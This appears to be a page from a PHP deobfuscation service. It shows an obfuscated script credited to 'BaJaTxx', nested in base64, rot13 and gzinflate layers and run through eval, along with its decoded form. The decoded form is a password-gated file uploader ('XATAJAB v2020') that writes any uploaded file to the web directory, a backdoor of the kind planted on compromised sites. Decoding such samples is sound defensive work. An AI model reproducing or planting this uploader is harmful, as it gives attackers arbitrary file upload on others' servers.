Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ///// script by BaJaTxx $OooO01="hUbZj/xooxoxoxoxxX/oxoxxoxo/oM/x/XxXoxXo/x..

Decoded Output download

 ?> b'<?php
echo "XATAJAB v2020<br>";
echo "<form method=\'post\' enctype=\'multipart/form-data\'>
<input type=\'password\' name=\'baja\' value=\'9awd\' ><br>
<input type=\'file\' name=\'zb\'><input type=\'submit\' name=\'upload\' value=\'upload\'>
</form>";
$pass=md5(md5(md5(md5($_POST[\'baja\']))));
if($_POST[\'upload\'] and $pass=="dbe0f776f6f13c89e9ce78cf673d39a5") {
  if(@copy($_FILES[\'zb\'][\'tmp_name\'], $_FILES[\'zb\'][\'name\'])) {
  echo "Upload Success";
  } else {
  echo "Failed to Upload.";
  }
}

?>
<?php
chmod("./" . __FILE__ , 0755);
?>'

Did this file decode correctly?

Original Code

<?php 
 ///// script by BaJaTxx   

$OooO01="hUbZj/xooxoxoxoxxX/oxoxxoxo/oM/x/XxXoxXo/xXXo/xxXEP/xX/Xxxx123xX/xxsx/XgPMRA0IRUBpbL/xXxX875XxxxXSCJMSRiDEUOLIQ9cM6vX4fZ2dms0K4lWD66XdXVcnRiSHgGGd/xX/Xxxx123xX/xxsx/X+mJAxBtOdnVlu/2dTtpKOeh/x/XxXoxXo/xXXo/xxXej/xOxxxX/XXooxx/XXXo/xxxXkbQ/xX/Xxxx123xX/xxsx/XltTZ373RYVZ1L7/xX/Xxxx123xX/xxsx/X2V8z6bG/xX/Xxxx123xX/xxsx/XK6Ud/xXxX875XxxxXMg7R3vTsGJSIuEWB/xX/Xxxx123xX/xxsx/XZvVXHCvugdWB/xOxxxX/XXooxx/XXXo/xxxXEXGsEMzAVsd/xooxoxoxoxxX/oxoxxoxo/oPoE/xOxxxX/XXooxx/XXXo/xxxXJlSAPL7/xXxX875XxxxXu2Lbp2ojsxLQlV+5nBx4YQiV4x/xXxX875XxxxXUmHoTBUmmdO1GzmcodY/xOxxxX/XXooxx/XXXo/xxxXbJg1Ux+Mmgm/IR8D6ZKnphk0x/xXxX875XxxxXW54uFs5cfHCkSB/xooxoxoxoxxX/oxoxxoxo/o/xX/Xxxx123xX/xxsx/XGvjdgh1+sPk5IGC/xX/Xxxx123xX/xxsx/X4YE36hT2XL15t95jbB4ohEsgsQ3FH/xXxX875XxxxXKoNA4bmoUuX+Q/j6b/xooxoxoxoxxX/oxoxxoxo/oSTWLKzT0Rcl0DCLQ3hKvA/emsjVZ/xXxX875XxxxXINttfO++x1ub5zB9ESpOhDR7/xXxX875XxxxXZBs/xOxxxX/XXooxx/XXXo/xxxXcG8/xOxxxX/XXooxx/XXXo/xxxXXCuTP7NF/0n+zgl7cNpM/xOxxxX/XXooxx/XXXo/xxxXszRhuWS2HC8b0BRHuOeGPSEd94c/xXxX875XxxxX1dLE/th/x/XxXoxXo/xXXo/xxXn2KQjme7todmPb/xXxX875XxxxX2VFi/xXxX875XxxxXKgtoO/k3vFjsO0KHB/x/XxXoxXo/xXXo/xxX3iBe/x/XxXoxXo/xXXo/xxXYdZfif/xXxX875XxxxXKFZVkhiElOfRZf4UplK/xXxX875XxxxX/xXxX875XxxxXZjk/xOxxxX/XXooxx/XXXo/xxxXsC/xXxX875XxxxXHKk++/xooxoxoxoxxX/oxoxxoxo/oPJ/xOxxxX/XXooxx/XXXo/xxxXEI9LbO1/xooxoxoxoxxX/oxoxxoxo/o/xX/Xxxx123xX/xxsx/X8Bd/xooxoxoxoxxX/oxoxxoxo/oGRhuj/S/x/XxXoxXo/xXXo/xxX5lglzgJYmgLlS0l/x/XxXoxXo/xXXo/xxXL/7ck/x/XxXoxXo/xXXo/xxXW3D/jZ/xXxX875XxxxXBEbZBKDc7HXX+i3+fOo/xX/Xxxx123xX/xxsx/Xj9ckD+mbX4992vxRt/xooxoxoxoxxX/oxoxxoxo/o/xooxoxoxoxxX/oxoxxoxo/ov9/xXxX875XxxxXQJ/RpTXE/xOxxxX/XXooxx/XXXo/xxxXQl38AQHO/FD4ARc9f/xooxoxoxoxxX/oxoxxoxo/oH7nW77/x/XxXoxXo/xXXo/xxXdxhp948IkfYK5vR1GD/xOxxxX/XXooxx/XXXo/xxxXzVPTGf/x/XxXoxXo/xXXo/xxXJ";   
eval(" ?> ".base64_decode(str_replace("/XxxX/XOx/xXxXXXXx/4412xX","=",str_replace("/xOxxxX/XXooxx/XXXo/xxxX","r",str_replace("/xX/Xxxx123xX/xxsx/X","y",str_replace("/xXxX875XxxxX","a",str_rot13(gzinflate(str_rot13(base64_decode(str_replace("/xooxoxoxoxxX/oxoxxoxo/o","q",str_replace("/x/XxXoxXo/xXXo/xxX","w",str_replace("/XxxX/XOx/xXxXXXXx/4412xX","=",str_replace("/xOxxxX/XXooxx/XXXo/xxxX","r",str_replace("/xX/Xxxx123xX/xxsx/X","y",str_replace("/xXxX875XxxxX","a",$OooO01))))))))))))))));   
?>

Function Calls

gzinflate 1
str_rot13 2
str_replace 10
base64_decode 2

Variables

$OooO01 hUbZj/xooxoxoxoxxX/oxoxxoxo/oM/x/XxXoxXo/xXXo/xxXEP/xX/Xxxx1..

Stats

MD5 db13ddd763f9f27ef9f99a83fcd10508
Eval Count 1
Decode Time 85 ms